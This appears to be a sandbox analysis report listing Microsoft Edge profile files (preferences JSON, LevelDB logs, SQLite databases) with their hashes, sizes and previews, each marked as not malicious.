Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6721A943-1F08.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45496401702761147
Encrypted:	false
SSDEEP:	6144:qWtEE4maUvbdu7IbjqSRAJ5IzpfXaHP6z:Bbdgnn
MD5:	9F9E9B28A380705F991032B906B036CD
SHA1:	0977A1713A154D515B9B37BA1803A4462AE9C687
SHA-256:	15644B517FFFD3EAF6F0E04E230433A05E6FA916606FF8B8A6B609C00523E633
SHA-512:	8EA586BDCAA4C0D457F9CF427229425E85C54CE4EC64D3FC5CE45F72DC92930B8F20B2FA2E70D1357EA831DA6594AC8A8D1B14F29A898AB6D80AE7CE75F4A221
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ccqdsc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49edbdaf-c000-451c-9301-ed10cc5f5057.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17320), with no line terminators
Category:	dropped
Size (bytes):	17322
Entropy (8bit):	5.469775202521547
Encrypted:	false
SSDEEP:	192:stqJ99QTryDiuabatSuypDs0/aFvrEjW4fRR5TkpENqR3w1Ky/gfrrCsVrph3VGT:stqPGQSu4Ds0/CDGl4lwUQbG9QwBC3F
MD5:	D065C78F61515A18BDBB272117850690
SHA1:	49649E6D4BB44C8BE8A5AA88199F8F56154335D0
SHA-256:	DECAA8FC1D531D337123DCC0DDCCCFE54EED26FE8C7B68CB310BC382B266836E
SHA-512:	B4B5E5FA28C0933D1B545DDD782E66BF7929D4A4827FD2E053F2F8A6F1385637EC2CE26E47A6A872CA4A90E582A42A60DFD294AC36B8E3A5AEFC3A02B850FD30
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5ee75ad0-2e9f-4d13-ae33-834c97a433c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	5.1066367174854035
Encrypted:	false
SSDEEP:	192:stqkdpDs0/aFvrE9kQmw8HbV+FP31QAbU+PFYJ:stqQDs0/CDZbG9Q1F
MD5:	F789F99528AAF8A672991E8960071C1B
SHA1:	BEEE464362ECE846B60CC894857A4B7DFECB78A1
SHA-256:	8CEF1C8EB0AD24576F4BEA41AAAA109F64D62559F03BA941DBB89E82B98BA9CA
SHA-512:	29D86AC38AF054E07B81C96806364DD54116A4AF2512DFEE65C96B009B6FAC9EACFCBA213DEB7560769AF00D4A2E24FE725CD925E3C649A8FD18F4A27DA92E75
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65f5ecf1-3651-4db0-aa15-0acc116e6545.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.5713648364342765
Encrypted:	false
SSDEEP:	768:vzE+nCWR1W5wXrf4Y/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiQI6H0wrwXuprtuA:vgYCQ1WaXrf9/u1ja1EUBqtP
MD5:	C5C8E2955906E749915CCC0126B83BBA
SHA1:	0BA434877D125AEB55F02DD1EA4C89822C0795D0
SHA-256:	C0FD711E6A8B81F2A467B5E83197D38EAFF7A5CAC9AC17AB4411DA70A9898A4A
SHA-512:	67A1A3C587DEA6583321B9DC393509B9D91F545522A5BBA7B36F074589E47D01A0610C3F6D0B1E3C3D8E85B4DAD75BBB6CC4BF106BD184A5FFD6AF9FFEFB4D30
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374732868087520","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374732868087520","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c935076-339c-4eca-894d-00ccebe3ecd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9901935f-d8de-4bbd-8666-03ce5481bfc9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17155), with no line terminators
Category:	dropped
Size (bytes):	17157
Entropy (8bit):	5.473020992249169
Encrypted:	false
SSDEEP:	192:stqJ99QTryDiuabatSuypDs0/aFvrEjW4fRR5TkpENqR3w1Ky/gfrrCsVrph3VGl:stqPGQSu4Ds0/CDGl4lwUQbG9Qw+F
MD5:	6850DD7B53007BCE97B283156DFF4BDE
SHA1:	EB89252A268F0918617C516505446D837EC7FCD3
SHA-256:	0EB78D52C836C2ED5647568DAE3D6340FAACEE695C34E2D9FA50F79F4CD60B22
SHA-512:	A2531EEFF5C499C35D33BE3B9C1285257F114785C2CEFDF3A49317CBD71B45D7ACB6C7875A97E4837D1AFDCCC8C679C04E05B6D508F206EA810341EA8BB4529E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.257562082275366
Encrypted:	false
SSDEEP:	6:epbTR1N723oH+Tcwtp3hBtB2KLlkrN+q2PN723oH+Tcwtp3hBWsIFUv:eRTxaYebp3dFLGJ+vVaYebp3eFUv
MD5:	D35BB2428AEFA0C582DB8E563048C720
SHA1:	DB72EFED1950FBFE7DDCA4A758FEDF4A7F6038A7
SHA-256:	7A2F0E6EE897C258F517E7287FC6ABAAEC5D1A7F86FDBB57FBA10045ADDF1182
SHA-512:	AFC32DFEBD4C647314A174456B8665991E63566A815602DC7D6F589D5A7C06F3DE4AE4A1231517237307F50670D025B8CDD56CD1EF2C079CDAEDFAA8645D3547
Malicious:	false
Preview:	2024/10/29-23:34:33.812 1f5c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/29-23:34:33.984 1f5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222873286651041
Encrypted:	false
SSDEEP:	24576:IbPMZpV4fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV4fx2mjF
MD5:	D4EA97697EE1B71719367BC804ABEB1F
SHA1:	543C2D500E3E192CCB4BBBDA9900DD15B287BAAD
SHA-256:	68D2C8B8653DE74CDBB8D87CF38FC639710B7246CF5C1EA24AE485F1EA0E0358
SHA-512:	FA45049FE6170B5CCB3AB186268EEB8681C75D6D490EF0B535158ADB3E3D34204C2C0DFEA6C0F52478C7E3BA717B051D9E2A478F2413A9A72A68DC996C62F205
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.115028073470196
Encrypted:	false
SSDEEP:	6:eeF7v4q2PN723oH+Tcwt9Eh1tIFUt8FcFEkJZmw+FxLDkwON723oH+Tcwt9Eh15d:eIv4vVaYeb9Eh16FUt8FcFLJ/+FxLD5s
MD5:	8962CDED4E058BAA85C31619CE57495D
SHA1:	5A28054F2CBF496E368A36FDF131DAB2ED7CF65D
SHA-256:	E1EA38C5CC9D8AC135E3A53B9277EC0CB4F91F64F5FD3CA8DBFF25E0BA77BD03
SHA-512:	B6732C93F3AD3BE4A087ED83CFFD6D073F18847BC95C7927F894AAC651D24732C9ED9D788F06BCD4B26BF70F93900C8D785E0234D6D1B317D9F422BB1186B230
Malicious:	false
Preview:	2024/10/29-23:34:33.915 2170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-23:34:33.917 2170 Recovering log #3.2024/10/29-23:34:33.925 2170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.115028073470196
Encrypted:	false
SSDEEP:	6:eeF7v4q2PN723oH+Tcwt9Eh1tIFUt8FcFEkJZmw+FxLDkwON723oH+Tcwt9Eh15d:eIv4vVaYeb9Eh16FUt8FcFLJ/+FxLD5s
MD5:	8962CDED4E058BAA85C31619CE57495D
SHA1:	5A28054F2CBF496E368A36FDF131DAB2ED7CF65D
SHA-256:	E1EA38C5CC9D8AC135E3A53B9277EC0CB4F91F64F5FD3CA8DBFF25E0BA77BD03
SHA-512:	B6732C93F3AD3BE4A087ED83CFFD6D073F18847BC95C7927F894AAC651D24732C9ED9D788F06BCD4B26BF70F93900C8D785E0234D6D1B317D9F422BB1186B230
Malicious:	false
Preview:	2024/10/29-23:34:33.915 2170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-23:34:33.917 2170 Recovering log #3.2024/10/29-23:34:33.925 2170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4624574355948972
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuP3M:TouQq3qh7z3bY2LNW9WMcUvBuPM
MD5:	9834299A020F7F34CAD7A125973148C7
SHA1:	40AC573F732BD0F63F7283F84E5A1DCDABBD51CC
SHA-256:	FDDB6F624FB55ACB802C20F44E25BD772009DA82F36A2023781D1FDED1593D47
SHA-512:	82E1FD2D767DA0B9ABBBFB520BB62657BF6C2002CC1D2DEBCEDF08CCFEAFECA74CD0CE700F17F700C14CD6FC00B8089C787752EA8B3761AE4CF43F32F5D2885E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.183254009746534
Encrypted:	false
SSDEEP:	6:ejyd+q2PN723oH+TcwtnG2tMsIFUt8FjFZmw+FjpVkwON723oH+TcwtnG2tMsLJ:euYvVaYebn9GFUt8FJ/+FD5OaYebn95J
MD5:	62D126829CB06836A52F39F043994238
SHA1:	68C149112330E1F609D8468E1B5BF13913757A09
SHA-256:	69C2F0CE2667ED3CE37AF8DA5041C39B3FDED4DFD1BE673B7F959A5DAE8D57CD
SHA-512:	4C10D56E1B6CEEACAE255A3AF07E7F5F8F7ED8D2B10DEF53393B0FA7F439535F586F640228EDF328AF36D00934A274607A15EBF97FA7C948596DFDC48C5BFF47
Malicious:	false
Preview:	2024/10/29-23:34:28.204 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-23:34:28.205 1448 Recovering log #3.2024/10/29-23:34:28.205 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.183254009746534
Encrypted:	false
SSDEEP:	6:ejyd+q2PN723oH+TcwtnG2tMsIFUt8FjFZmw+FjpVkwON723oH+TcwtnG2tMsLJ:euYvVaYebn9GFUt8FJ/+FD5OaYebn95J
MD5:	62D126829CB06836A52F39F043994238
SHA1:	68C149112330E1F609D8468E1B5BF13913757A09
SHA-256:	69C2F0CE2667ED3CE37AF8DA5041C39B3FDED4DFD1BE673B7F959A5DAE8D57CD
SHA-512:	4C10D56E1B6CEEACAE255A3AF07E7F5F8F7ED8D2B10DEF53393B0FA7F439535F586F640228EDF328AF36D00934A274607A15EBF97FA7C948596DFDC48C5BFF47
Malicious:	false
Preview:	2024/10/29-23:34:28.204 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-23:34:28.205 1448 Recovering log #3.2024/10/29-23:34:28.205 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6140732720587566
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jxph0pgpH4mL:TO8D4jJ/6Up+jL9
MD5:	C0EBC07C776407B613188F6FFAADCDD7
SHA1:	33ECE42C97F4E819F149FF1627ADFEFC6C9B33F7
